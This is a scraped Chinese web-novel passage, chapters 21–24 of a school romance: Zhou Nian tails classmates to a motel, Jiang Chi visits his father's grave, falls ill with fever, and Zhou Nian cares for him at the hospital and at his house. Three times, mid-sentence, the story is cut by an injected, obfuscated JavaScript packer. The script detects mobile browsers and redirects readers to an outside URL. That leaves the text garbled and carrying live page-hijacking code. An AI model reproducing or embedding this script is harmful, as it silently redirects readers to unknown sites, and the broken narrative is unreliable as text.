江池板着脸,没搭理他,穿过厂房走去弄堂。 “谁又惹你了?” 徐明跟着跑去了弄堂,走进弄堂发现江池已经点起了烟,垃圾桶边上多了一杯杨梅汁。 赵樾走得不算太急,他知道姜小小从家里赶过来也需要时间,正因如此,周念能跟上他的步伐。他一路靠走,没有利用其他交通工具,最终目的地是一家不起眼的小宾馆。之所说它不起眼是因为它的招牌摆放相当随意,不像正规酒店招牌顶在中心最显眼的位置,它的招牌是一块白色木板,上面是红漆写的几个大字:如意宾馆。就搁在大门边上。 而且他没有正规的大门,一扇小铁门,一开一合就成了宾馆正门,门口守着个中年女人,膀大腰圆,边嗑瓜子边打瞌睡。 那女人见赵樾来,露出个耐人寻味的笑。 “呦,小伙子又来了。” 赵樾不跟她多扯,从口袋里摸了张整的百元大钞扔在女人面前的小桌台上说:“两小时再来一盒套子。” 女人捡起钱,娴熟地捏了捏一角,确认不假后从抽屉里甩出一盒避孕套,再从一摞散币中抽了一张五十找他。 “小伙子精力可以啊。”她感慨说:“年轻就是好,浑身是劲。” 说罢眼神有意无意地往裆部看去。 赵樾招架不住这样打量,他不耐烦地敲打桌台:“钥匙。” 女人又从抽屉里甩出个钥匙:“老位置。” 赵樾拿了钥匙上了楼。 周念在不远处看着,房是赵樾开的,姜小小应该还没到,她就近找了家视野开阔的面店,要了一杯饮料后静等姜小小出现。十分钟后,姜小小也来了,估计是和赵樾通过气,她没跟那个中年女人说话,自顾自上的楼。 目送她上楼,周念拿出手机,翻开备忘录上的英语单词,静下心背诵起来。快到饭点,如意宾馆的铁门被人拉开,先出来的是姜小小。周念低头看了眼时间,距离她进门已经有一个小时二十分钟。 等赵樾也离开后,周念走到了宾馆面前。中年女人打量她一番,以她二十几年酒店生意经验来看,周念应该不是来住店的。她的宾馆通常只来两种人,一种是初来乍到无处落脚的打工人,第二种就是赵樾姜小小这种,年纪小来开钟点房的,毕竟这地方多交点钱就可以不用登记身份证。吃喝嫖赌,大门一关就什么也看不见了。 周念站在照片边上默念着它的名字。 如意宾馆。 老地方。 21. 第 21 章 江池是五点醒的,醒时恰逢日出,窗外蓝白交替,云层晕染成红色,天空一片斑斓。他走进厕所,在镜子面前收拾了几分钟,让自己看起来相对内敛和稳重。收拾完毕转去厨房,从冰箱里拿出前一晚上买好的饭菜,他对做饭一窍不通,所以热菜也只是在微波炉里转上一圈。 他把热好的饭菜原封不动的放回打包盒,套上塑料袋,拎着出门。街道开始复苏,早餐店内热腾腾的蒸汽隔着马路飘向另一头,店里的老板惊讶地看他一眼,再回头看了眼墙上的挂历,豁然的点点头。 “小池,起那么早去看你爸?” 江池轻轻的嗯了声,也不知对方听没听到。小鸟岛有个说法,说祭奠亡灵要赶早,黄泉的路只开几个小时,去的晚了就见不上面了。那会儿江池对此嗤之以鼻,总是不屑的说,那腿较慢的人就没资格看看老婆孩子了呗。 可现在他却一刻不敢耽搁。 陵园修在半山上,江父的墓碑很好找,在最大那颗水杉树的边上。江池顺着台阶往上走,走到一半时回头俯瞰山脚,成片成片的水稻呈青黄交接的颜色,他想,再过不到两周就快成熟了。 他来到墓碑前,碑前有人插了香,香灰掉了一地,还没来得及被风吹散。江池下意识往向下张望,试图找到某个熟悉的身影,可惜底下寂静无声。 他想笑,于是笑了出来,他把饭菜一样样摆放在碑前。 “她刚来看过你?” 没人应他。 他又说:“你们是不是有什么误会?” “算了,跟我没关系。” 他用手抹掉墓碑上的灰尘,把墓碑上的照片擦的很干净,然后指了指地上的饭菜说:“吃吧,昨天去你最爱的那家饭店买的,换了厨子不知道合不合你胃口。” 说完一屁股坐在台阶上,开始点烟。他吸了一口,夹在指尖,青烟笔直上升,在顶端徐徐扩散。这会儿,他不可避免的想到了一个人,于是他说。 “忘了跟你说了,我去游泳馆当救生员了,还救了个人。是个女孩,她......” 思绪随着话乱飘,后来他干脆就不说了,在墓碑前坐了整整一个上午才回来。 中午回家补了个觉,一睡就是一下午。一天没吃东西,江池觉得有点饿开始在厨房翻箱倒柜,最后搜出一包泡面,泡面是上次聚会徐亮留下的,麻辣味的,他吃不了于是又扔回柜子。 他在隔壁饭馆要了几个小菜和两瓶啤酒,饥饿战胜酒瘾,大口塞了两碗饭后难得勾起的酒瘾也烟消云散。他望着桌上的两瓶酒斟酌了会儿,给徐明发了信息。 ——喝酒吗? ——几点?在哪儿?喝。 ——九点,我家。 ——行。 时间还早,江池独自在银江边散步,江边有不少人走路消食,牵狗的,带娃的,情侣打闹,闺蜜聊天各式各样。这闹哄哄的场景让他想起那个安静的夜,有人坐在江边默默地发泄情绪。 手机上和周念的对话还停留在九月,她没来找过他。他盯着手机愣神,缓过神来蓦地一笑。到底是什么开始,这段关系中的主动权不在自己手里了。 他对着江水和夕阳拍了一张照发给周念。 想着,不在就不在吧。 八点半,江池回到家,他看了眼手机,屏幕一干二净。八点四十分,他打开电视,频道转了一圈下来,再次打开手机,屏幕依然一干二净。八点五十分他上楼洗澡,脱掉上衣时眼睛又不自觉看向手机,这时手机有了信息。 江池重新套上衣服,打开微信发现是徐明。 ——开门 ...... “我真服了老薛了,什么眼光看上歌舞厅的小姐。上次出来见面我就觉得这人不对劲,那粉厚的恨不得把石膏抹脸上。” 徐明骂骂咧咧进门。 “那女的知道这房子是你的,连老薛都不理了,眼睛恨不得长在你身上。回来老薛还在背地埋怨你呢,说你没事儿呆家里干吗。你说好笑不,这你家,你不在这儿能在哪儿。” 江池:“说完了?” 徐明:“没完。” 他一进门,眼睛跟机关枪似的每个角落扫了一遍问:“酒呢?” 江池冲茶几扬了扬下巴。 徐明:“就两瓶?” 江池坐在沙发上,用开瓶器把两瓶酒开了,推过来一瓶。 “一会儿有人送来,想吃点什么?” 徐明仰头吹了半瓶,心情舒畅道:“搞点生腌吧,挺久没吃了。” 江池:“那玩意儿容易拉肚子。” 徐明:“那叫几个小炒,再来点生蚝和螺蛳。” 江池:“行。” 徐明回到刚才话题。 “老薛真犯不着为这种女人打架。” 江池这才有点反应。 “怎么了?” 徐明闷声嗤笑,摇摇头说:“歌舞厅的小姐,赚的就是‘风情’钱,被花钱的老板摸一把揩揩油再正常不过。谁晓得那天被老薛看到了,他对那女的也是上了心的,看到别的男人对自己女人动手动脚,气急就给了人一拳。” 老薛名叫薛易,是徐明和赵樾的发小,和江池算不上多深的交情,最多只能算酒肉朋友。 “这不,现在还在派出所呢,人家老板不差钱不愿意拿钱和解。”说完,徐明仰头往沙发上靠去:“还是你眼光好,周念真不赖。” 这话一出,江池脸色不太好看。 “别什么人都拿来跟她比。” “对了。”徐明笑得猥琐:“你俩怎么样,有进展不?” 江池冷着脸,没说话。 “没有?” 沉默。 “她没理你?” 沉默。 徐明大笑,眼泪水都快笑出来了。 “哎呦呦,我们人见人爱的江小爷在感情上哪儿受过这种委屈啊,周学霸也太不解风情了,几本破书哪儿有你好看。” 他又不禁要感慨:“我以为你在花丛中周旋那么久,怎么说也练就一身哄女人的功夫,怎么在周念面前就施展不开了呢。” 江池拿遥控器砸他,他歪头一躲问道:“上次的事儿,她没看出来你生气?” 看出来又怎么样? 还不是照样走了,事后也没解释,一句话也没有。 江池有点吃不准她。 “她好像心里没我。” 这时送酒送餐的一起来了,趁着空当江池不死心地看了眼手机,微信一片死寂,他想她应该不会回了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119226|163973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 徐明一连开了五瓶啤酒,挨个竖成一排,他嗦了口生蚝,味道不错,于是他惊喜地挑了挑眉。 “要我说她不理你就两种可能。” “要么就是她对你根本没感觉。” “要么她就是这个。” 徐明竖起大拇指:“情场高手,若即若离让你患得患失,从而拿捏你。” 江池笑了笑,觉得她要是愿意拿捏自己,也未尝不是件好事。 “她没谈过恋爱,哪儿懂那么多。” “你谈过?” 徐明反问他:“那群女生招惹你的时候,你不是也很懂,人家一句话一个眼神,你就明白了。” “怎么换周念你就看不出来了?” 江池无声而漫长的叹了口气,他拿了瓶开盖的啤酒喝了几口。 “那你说怎么办?” “示弱。” 徐明嘬了口螺蛳:“女人最容易心软了,你在她面前示弱,她百分百会搭理你。” 江池听乐了:“怎么示?你示个给我看看?” “这......” 徐明说:“我暂时没想好,想好了告诉你。” 江池‘呵’了声说:“瞎指挥。” 这场酒持续到了下半夜,徐明像一滩烂泥躺在沙发上,江池没喝多,盯着电视剧发了很久的呆。他把桌子收拾了好从房间里拿出一条薄被子随手一扔盖在徐明身上。然后关上电视剧,上楼洗澡。 一房子酒气,江池洗完澡,打开窗户通风,确定沙发上这滩烂泥能安然无恙地睡到明天一早后他决定出门走走。 走出没几步,脑袋里蓦地蹦出一个画面,墓碑前掉落的香灰纹丝不动地躺在地上。无论处于什么原因,傅妍要离开这个小家,但起码今天这个日子,她是记得的。 脚步又不听使唤地来到小矮楼前,凌晨一点半,小楼几乎浸没在黑夜里,只有傅妍房间的灯还是亮着的。 玻璃窗透出光来,是暖暖的黄色,江池第一次觉得这种颜色的光那么好看,好看到想要沐浴在这光之下。他对着窗户抽完一根烟后准备离开,他把烟蒂抛向垃圾桶,转头看到一个男人从楼梯口出来。 那男人刚到楼下似乎忘了什么,又折返回去,就在这时,江池看到傅妍从楼上下来,手里拿着一个手机。两人对视笑着,那种笑江池没见过,至少这样的笑在江桥面前是没有的。 回程的路上,江池心里堵的难受,有些记忆肆无忌惮地涌现在他脑海,那时一家三口出去玩,玩累了江桥会背着傅妍,自己会撒泼打滚质问父亲为什么不背自己,江桥说,你是小小男子汉,妈妈需要爸爸保护。 还有一次,江桥右手骨折了,但他依旧买菜做饭,甚至在那段时间练就了左手烧饭做菜的本事。那会儿江池问他‘你怎么不让妈妈烧’。江桥的回答是,你爸没死呢,轮不到你妈烧。 几乎所有的记忆都在展示父亲是个多合格的丈夫,那为什么偏偏这样的付出换不来对等的感情呢?他替江桥不值,无论从前还是现在。 那男人是谁?会是周念的父亲吗?江池不敢再想,他害怕,逃避,迫使自己忘掉刚才的一幕,回到家后,他又上楼洗了个澡,用干毛巾胡乱抹了把头发后下楼喝酒,直到失去意识,一觉睡去。 22. 第 22 章 徐明醒来,窗外天光大亮,他闭着眼迷迷糊糊地在沙发上摸索手机。 “操,十一点了,完了完了完了。” 他一个鲤鱼打挺站起来,没撑两秒又倒在沙发,他睁着眼大脑放空了半分钟才意识到自己还在江池家。 “阿池?” 偌大的客厅寂静无声。 徐明脑袋一晃疼得厉害,这是宿醉的下场,他骂了声娘后缓缓爬起来,又喊了一声:“阿池?” “嗯?” 江池应得很轻,声音软绵绵的,有气无力。 徐明侧目看去,江池坐在隔壁沙发上闭目养神,‘闭目养神’这四个字有待考究,他不确定他是在沙发上坐着睡了一晚,还是在床上睡了一晚下来睡个回笼觉。但徐明更倾向后者,因为昨晚在他有意识的时候,江池还没喝多。 他问:“你昨天睡这儿?” 江池又是闷闷的一声‘嗯’。 徐明觉得这声音有点不太对劲,他走到江池边上仔细的端了他一眼,江池的肤色在男生中属于偏白,但现在这种白完全是种病态的惨白,像浮了两三天的死鱼,连嘴唇都没有一点血色。 “你是不是不舒服?” “有点。” 江池脑袋涨得厉害,脑子里好像装了个炸弹,每说一个字就会引爆一次炸弹,震的他脑仁疼。 徐明摸了下他的额头。 “操,那么烫?” 江池这才睁开了眼,一双布满红血丝的眼睛。 “昨晚没吹头,窗户开着可能着凉了。” 徐明说:“家里有体温计吗?量一下。” 江池:“不用,你去学校吧,我去楼上躺会儿就好了。” 徐明又摸了下他的后颈:“不行,这温度估计得有40往上,再烧下去会出事儿的。” 江池闭眼笑了笑:“死不了,要真出事了算我的,不赖你。” 徐明说:“死是死不了就怕脑子烧坏了,你想你那么一张帅脸,要是蹲路旁撒尿跟狗抢地盘那不得上新闻啊。” 江池没力气跟他扯,淡淡回了个“滚”。 徐明不死心:“你到底去不去?我现在去学校也来不及了,干脆请个假陪你去医院。” 江池也是铁了心:“烦不烦,我说不去,听不懂?” 徐明不再理他,自顾自去厕所抹了把脸,对镜子臭美一番后想到什么,于是从门里探出大半个身,他咧嘴笑道:“我昨晚是不是让你在周念面前示弱来着?这不机会就来了吗?” 江池张开眼缝:“什么意思?” 徐明的声音从厕所传来。 “你不是不确定她心里有没有你吗?你现在去医院,我把消息放给她,看她来不来。” 江池沉默。 徐明又说:“就赌这一次,她要来了,你们就成了。她要不来,你就死了这条心吧。” ** 下午第二堂课是物理,物理老师是个五十几岁的老头,作风老派,讲课古板,又没有其他课老师风趣幽默,班上一半人都忍不住点头瞌睡。这堂课的重点是巩固基础,没有更深入的内容,知识点对于周念而言已经滚瓜烂熟,但她还是很配合的听完了整一堂课,下课时有人喊了她一声。 “老大,有人找你。” 周念循声望去,徐明就站在门口的走廊上,她有预感,他是为了江池来的。 周念走到门,脸上带着很淡的笑。 “你找我有事?” 徐明摸着后脑勺憨笑道:“没什么大事儿,这不是要模拟考了吗,就打算跟周老大借点复习资料看看。你读书那么好,划的重点肯定都考。” “我都是根据老师给的重点划的,没什么特别。” 周念想了想说:“如果是图个心安的话,你借走就是了。” “周老大果然大方。” 他顿了顿,口吻略带惋惜:“本来今晚大家约了饭想请你一起来的。可惜阿池生病了,这顿饭就取消了。” 徐明说这话时,特意留意了周念的表情,但她好像永远都是那副样子平和安静,不管是语气还是眼神察觉不到一丝波澜。 周念:“他生病了?” “是啊。”徐明添油加醋道:“发烧到40度,我就没见他那么虚弱过,说句话都吃力。” 周念抿唇,又问:“去医院了吗?” “刚去不久,估计在排队等报告。”徐明补充道:“就在三院,离这儿还挺近的,公交过去半小时。” 周念回到教室,瞥了眼黑板上的课程表,下午还有两节课,一节数学,一节英语。她坐回座位把下一节要用到的课本和相关资料放到书桌上。 叶琳探个脑袋问她话:“徐明找你?” 周念说:“嗯。借笔记本。” 叶琳觉得好笑:“他借笔记本?他们那帮人什么成分我还不知道,除了赵樾还算个爱读书的,其他谁会想到看书啊。是不是还有别的事儿。” 周念翻开上周数学测试的试卷,满分一百五,她得了一百四十七,那三分是最后一道大题计算失误扣的,她在草稿纸上默默算了遍才说:“江池发烧了,现在在医院。” 叶琳:“啊?那你要去看他吗?” 笔尖在纸上沙沙作响,直到上课铃响起,她也没给出答案。 江池在家里睡了一觉才来医院,到医院已经是下午三点了。三院是银城的中心医院,因为是老牌医院,大家有个小病小痛都喜欢往三院赶。所以不论季节,不论早晚,三院总是熙熙攘攘,热闹的不行。 仅仅是验个血就用了他整整两个小时。 医生给他配了点药,开了几袋盐水。他拿着药房配来的盐水站在医院门口往外张望,天色慢慢暗下来,乌云压的很低,快下雨了。 她应该不会来了。 耳边回荡起徐明刚才的话——如果她不来,你就死了这条心吧。 他看着手里几袋盐水深深吸了口气,又缓缓叹出。 江池坐在输液室里,看着一滴一滴的盐水顺着软管往下流,时间被一点一滴的具象,这是个漫长又枯燥的过程。他不想等太久,自作主张把流速开到最大,这一举动招惹来了护士。小护士本想数落他几句,看清他的脸后态度一改,温声细语道。 “这个水不能挂太快,要是有点副作用,你自己身体受不了。” 说完,护士把调节器调到中央,水滴甚至比之前还要慢。 江池有点不耐烦,开始低头玩游戏,浑浑噩噩玩了两把游戏。半个小时过去,那一袋盐水几乎没什么变化。他看了眼护士,现在人多,护士顾及不上他,他又把流速开到最大,水滴快到几乎连成水线。 他往走廊尽头看了眼,人群来往,没有那个熟悉的身影。 她应该不会来了。 江池再次打开游戏,玩了会儿发现已经没法集中注意力,于是他把手机锁屏放进口袋,身体后仰紧贴椅背,开始闭目养神。 视觉关闭的同时听觉变得无比敏锐,有人拖着椅子走动,有人窃窃私语,有人听音乐,有人看视频。其中有个脚步正在靠近,那步子很轻,轻得快被周遭的声响掩盖,那声音很平常,又很特别,特别到能让他在一众嘈杂声中清清楚楚得分辨出。 那步子停在他面前,一片阴影投了下来。 江池勾了勾唇,刚想睁眼就听到护士近在咫尺的抱怨。 “怎么回事儿啊,都跟你说了不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123390|163973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要调那么快,真要出了什么事儿医院是要负责的。那么大的人了,自己的身体自己不珍惜。” 江池闭着眼,失望自嘲地轻哼一声。 这时一个声音入耳。 “不好意思,他这人就这样,有点孩子脾气,给您添麻烦了。” 江池猛地睁眼,当时周念就站在他面前,挡住头顶那盏炽烈的白织灯。白光勾勒出她的身影,连同她头顶兀气的毛发都描摹的一清二楚。她正讪讪地笑着,唇角微微勾起,有些许光进入她琥珀色的眼里,显得如此不真实。 “我保证不让他再乱调了,真的抱歉。” “你看好他,我们已经很忙了,能不能体谅一下医护工作者。” “实在对不起,我一定看好他。” 周念长长地吁出一口气,低头看江池,他正笑着,不加掩饰地看着她。 他说:“你来了。” 她说:“嗯,我来了。” 周念把调节器调至最低,江池看了眼那水滴的速度居然没有抗议。 江池:“你逃课来的?” 周念看了眼盐水袋子上的字,纠正道:“是请假,我不逃课。” 他笑笑,心想都一样。 “现在有没有哪里不舒服。” “哪里都不舒服。” “......” 周念坐在他旁边的空位上,严肃又认真地重复了一边:“现在有没有哪里不舒服?我要实话。” 江池又笑:“你在关心我吗?” 周念不跟他扯皮,她看着面前的药水,猜测一时半会结束不了。 “吃饭了吗?” 江池摇了摇头:“你呢?” 周念:“正好我也没吃,我去买点吃的,你在这儿等我。” 江池难得乖巧的点点头:“好。” 饭点的缘故,医院食堂挤满了人,周念在门边徘徊了半天发现想要早点买到饭就必须硬挤。于是她转头去了医院便利店,便利店也好不到哪儿去,摩肩接踵喘口气都难,她刚走到货架附近就被人群带着往前走,没有太多选择余地,她只能随手在架子上顺了袋面包,付完钱才发现连水都没买。 周念来到自助售货机前,里面的饮料全部售罄,她看了眼干巴巴的面包决定让江池先将就着吃点。 “念念?” 周念回头,发现周宏姗脸色挂着一抹耐人寻味的笑意。 “小姑?” 她差点忘了,她是三院的医生。 周宏姗双手插在白大褂的口袋里,好整以暇地看着她。 “旷课了?” “没有,是请假。” “那小子谁啊?” 周念面不改色:“同学。” 周宏姗显然不相信她的鬼话揶揄道:“什么同学?生病还需要你请假照顾。” 周念哑然,周宏姗叹了口气,语重心长地说道:“你知道的,小姑是不会反对你恋爱的,青春期懵懵懂懂的感情是美好的,值得回味的。但是这些都是有前提的,前提是你要分清主次,我虽然不赞同你妈妈‘学习至上’的教育理念,但我也不赞同你为了图一时新鲜而毁掉好不容易得来的成绩。” “小姑。” 周念说:“你放心,我知道自己该做什么。你担心的事情,永远都不会发生。” 周宏姗松了口气:“那就好。” 周念:“那...没事我就先走了。” 周宏姗做了个打发人的手势说:“走吧。” “哦,对了。” “嗯?” 周宏姗再次扬起那个耐人寻味的笑容:“眼光不错,那小子有点姿色。” “......” 23. 第 23 章 周念回到输液室,江池已经睡着了,他靠在椅子上,微微歪着脑袋,胸口的起伏均匀而绵长。他脸色很憔悴,眼袋下是一圈淡紫色黑眼圈,粉白的嘴唇有些干裂,或许是身体不适,又或许是梦到什么,他的眉头始终是皱着的。 周念脑中莫名其妙的蹦出一个词:易碎,轻轻一碰就会四分五裂。 她落坐的时候刻意放缓了动作,即便如此,江池还是醒了,他说:“回来了?” 周念把手里的面包举起说:“我忘买水了。” 江池调整了下坐姿:“我不饿,你先吃。” 周念没吃,她不饿也没胃口。她把面包放在一旁,从书包里取出一张空白试卷,又拿出一只笔,在试卷的姓名处利落地写上周念二字。 江池微挑眉梢,有点惊讶:“你写得进去?” 周念将一本厚厚的硬壳书垫在试卷下面,淡淡地回道:“嗯,明天一早得交。” 江池没再打扰她,拿出手机开始刷新闻,心不在焉地刷了两分钟后,注意力依然回到周念脸上。她认真做事的时候表情很严肃,带着一股执拗的憨劲,像在跟什么较劲。 他轻轻地笑出声,下意识地叫了声她的名字。 “周念。” 周念抬头:“嗯?” 江池:“没什么。” 之后江池就真的再也没打扰她,周念全神贯注地作业,试卷完成了一张又一张,等她全部做完时发现江池的盐水已经挂完了,连针都拔了很久。 周念把试卷放进书包,看了眼手机,晚上九点多了,从这里回家需要大半个小时,好在今天张宁晚班,没空管她。 “我得回家了。” 江池默了秒说:“好,路上注意安全。” 周念:“嗯,你也是。” 周念走在输液室通往医院大门的路上,她闻着空气里充斥着的消毒药水的气味,脑中蓦然浮现起那张憔悴的侧脸,她路过一扇扇窗,窗外死黑一片,她忽然停住脚步,深深吸气后原路折返。 江池还在那里,他就只是枯坐着,没有说话,没有动作,甚至没有表情,他就只是枯坐着那儿,孤独得像个等待被认领的小孩。在那一刻,周念仿佛看到深藏在他骨髓里,那股说不清道不明的阴郁无声地、猛烈地爆发了。 周念走到他身边,垂下头,看着他。 “我陪你回去吧。” 江池抬头,再一次看到她挡在那盏炽烈的白织灯前,周围的光朦胧的很不真切。 江池拦了一辆出租,地址是银城有名的别墅区。上车后两人沉默不语,倒是司机喋喋不休说了些有点没的。 “变天咯,下半个月开始要凉快了。” “送完你们这趟,我差不多要收工了。” “天气预报说要下雨,阴了一天了,说下不下的。” 江池把车窗摇下,目光留在窗外,天色太黑看不出积云的厚度和颜色。他偏头看向周念,担心她回家时会有雨,想着要不自己半道下车让司机单独送她回家。很快,这个稍纵即逝的念头被他的私心取代,他给自己找了借口,万一不下呢。 江池没让司机开进小区,而是在周围下了车。周念正疑惑着被他领进一家小饭馆。他应该是常客,老板跟他对话的语气想当熟络。 “来啦,今天吃点什么?” 江池把原话给周念重复了一遍:“你想吃点什么?” 被医院的味道熏了半天,这会儿周念没什么胃口,她看着墙上的菜单随口说:“拌面就行。” 江池冲厨房说:“一碗拌面。” 周念稍有疑惑:“你不吃吗?” 江池从桌底捞出个凳子说:“我不饿,你吃吧。” 老板的手艺很不错,周念原本没什么胃口,看到拌面端上的那一秒肚子很诚实的咕咕叫了两声,她埋头吃了几口半饱后下意识的说道:“老板做的很好吃,你常来吗?” 没人回答。 周念抬头,发现江池又睡着了,他坐在凳子上背靠墙壁以一个相对板正又不太舒服的姿态睡着了。 江池家的别墅被一个小花园包裹着,周念看着花坛里肆意疯长的枝桠和杂乱成团的花圃猜测这里应该很久都没人打理了。江池留意到她的眼神,猜到她在想些什么。 “有两三个月没理了,改天叫个钟点工来修剪一下。” 周念说:“如果你不喜欢打理这些,可以直接铲掉。” 而不是现在这样,张牙舞爪阴森得像个活脱脱的鬼屋。 江池不咸不淡的回道:“种着吧,种都种了。” “哦。”周念顺着他的话点了点头说:“我得回去了,你自己注意休息。” 江池没说话,自顾自搅动家门钥匙,清脆一声,门开了。 “你不怕我死在家里?” “......” 他的语气从油腔滑调到小心翼翼只用了短短一秒。 “能不能再陪我一会儿?” 周念没作声。 江池:“就一会儿。” 周念对这房子的第一印象是空,空到无从寻找生活的痕迹,就像是供人参观的样板房,装修华贵却毫无人气,贫瘠到需要借助门外的一花一草来增添生机。她突然明白江池为什么舍不得铲掉门外的植物,因为跟室内一层不变的死物相比,窗外的花是会开的,或许是某个早晨,也或许是某个不被期待的冬天。 江池把沙发上的被子甩到角落说:“坐吧。” 周念没坐,站在原地,沉了口气:“很晚了,我得回去了。” 江池眼巴巴地看着她说:“我饿了。” “......” 周念有点无奈,但还是问了句:“厨房里有什么。” 江池倒是诚实:“什么都没有。” “......” 有那么一秒,周念对他是否真的饿了产生怀疑。 “不过。”他试着回忆了一下:“好像有袋米。” 他记得去年年末徐明送了一小袋米过来,原本一行人计划在这儿吃年夜饭,自己动手丰衣足食,谁想计划赶不上变化,遇上家里老人过世,于是这顿年夜饭就此作罢。倒是那袋米应该还在厨房角落里,如果没有今天这一出估计会等到发霉才记得起它。 “除了米,其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133831|163973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他还有吗?” “还有一包泡面。” “......” “粥喝吗?” “喝。” 胖乎乎的米粒在沸水里来回翻腾,周念看着锅里的粥莫名的猜想,客厅一点动静没有,江池是不是睡着了。于是她偏头去看沙发,果然他又一次睡着了。这次他似乎睡得很沉,整个人歪倒在沙发上,脸上没有一丝丝的难受,表情舒展而放松。 这一觉应该能睡到天明。 这般想着周念回头看锅里的粥,翻滚、冒泡,扑腾,继续煮了十几分钟,她把火关了,打算用余温把粥闷烂。这样第二天一早热一下就能吃了。 把厨房灯关闭后,她轻手轻脚来到沙发前,把角落那条被子盖在江池身上。一切就绪正打算回家时,厨房又传来滴答滴答的水滴声,估计是刚刚淘米时没把水龙头关紧。 料想不过是一秒钟的小事,所以周念没有开灯摸黑进了厨房,水滴还在断断续续的流,她把手柄推到底后安静地等了几秒,滴答滴答的水声开始变缓,她又耐着性子等了几秒,水没停。 反反复复几次,周念怀疑水龙头是不是坏了,但刚刚明明是好的。晃神间,身后突然伸出一只手,越过她用力地按在手柄之上。 “老毛病了,改天叫人来修。” 周念呼吸微滞,这声音是从她耳边传来的,很近,甚至能感受到喷在她头顶和耳廓的热气。江池的手离开手柄落在水池旁的台面上,另一只手顺势将面前的人环绕在狭小的空间里。 最后一滴水没能成功滴下,卡在那儿,上不去也下不来。 至此,厨房彻底安静了。 周念没回头,她说:“你醒了?” 后面很轻的‘嗯’了一声。 “粥煮好了。” “嗯。” “如果不饿,可以留着明天早上吃,热一下就行。” “嗯。” “我得走了。” 半晌,彼此静默无言。 “转过来。” 他说话的声音很轻,像在征求什么,他只手握住周念的胳膊,没施多重的力,把人缓缓转向自己。周遭太黑,他看不清她的眼睛,分辨不出她的神情,只能从缓急的呼吸声中揣测她的心意。 他低下头,慢慢靠近,那个吻即将落下时周念偏头躲开。 水滴不滴了,呼吸停滞了,时间静止了。 黑暗中,她说:“江池,你能不能等我一年。” 他沉默,没给回应。 半晌,极浅地哼了声。 “周念,你是不是在玩我?” 两人无声地僵持了很久,期间的每一秒都被黑暗和沉默拉长,江池侧身让出道,他靠在台面上安静地点了根烟。青烟在黑暗中舞成一幅画,弥漫在他周身,他把烟吹散,淡淡地说:“你走吧。” 周念真的走了,关门之前看了眼被黑暗隐匿的剪影,那个影子一动不动,像彻底融入在这座房子里的死物。 那晚江池再也没有睡着,他一根接一根地抽烟,直到一包抽完,再没什么能打发时间,他才坐回沙发,睁眼到了天亮。 24. 第 24 章 十月下旬,银城终于有了入秋的迹象,太阳没那么烈了,风也失了温度,连树上的知了也学会安静了。周念站在三班门口的走廊上,看着最后一排趴在桌上大睡的徐明被叫醒,徐明顺着指引朝走廊看了眼,同周念对视后匪夷所思的挑起眉。 徐明晃悠悠地走到门口,期间打了一连串哈欠。 “找我有事?” 周念:“我的笔记本看完了吗?” “啊?” 徐明一开始还没反应过来,想了半天才记起那本一到手就搁置在角落积灰的笔记本。 “看完了看完了,我这就去拿。” 周念:“好。” 刚睡醒,徐明整个人迷迷糊糊的像在做梦,回到座位清醒大半,于是鬼主意蹭蹭往上冒。他装模作样地在抽屉里翻找,找了一会儿空手出教室。 “你看我这脑袋都给忘了,你的笔记本我放家里了。要不一会儿你跟我回家拿一趟?” 徐明小心试探着:“你肯定急了吧,我一会儿打的回去拿,你跟着我就行。” 周念礼貌地笑了笑:“没事,你明天拿来就行。” 徐明:“我明天就不来了。” 周念:“为什么?” 徐明:“我奶病了,后面一周我得在家里伺候她。” “......” 真是什么幌子都敢往外撒,周念用怀疑的眼光看着他,徐明笃定她着急用笔记本,于是摆出一副无所谓的样子耸了耸肩:“我奶也真是,这时候生病。” 周念忖了忖说:“那好吧,晚自习结束我跟你去拿。” 当晚,周念同徐明上了出租车,徐明坐在副驾驶,周念坐后排。上车后徐明给了个地址。 “去老街。” 说完,他冲周念解释了句:“我家就在老街边上,小区路窄车子开不进。” 周念没作声,只是会意点头。 车子停在老街最热闹的地段,这个点正是大排档最火爆时间,店里店外座无虚席,马路堵得水泄不通。司机临走前骂骂咧咧,大致意思是早知道停在这种鬼地方就不载了。 下车后徐明带着周念往里走了一段,走到一半,徐明忽然说道:“啧,我这脑子真健忘。” 周念深深吸了口气,心想这又是哪一出。 “我忘了今天老薛请客吃夜宵来着。” 他低头看了眼时间。 “就这个点。” 他又面露为难。 “要不这样,你跟我们一起吃吧,你这本笔记本都借我那么久了,我是应该请你吃顿饭的,算是借花献佛了。” 周念站在一旁平静地看他表演,等他演完才说:“我就不去了,里面的人我都不熟,笔记本我明天再来拿吧。” 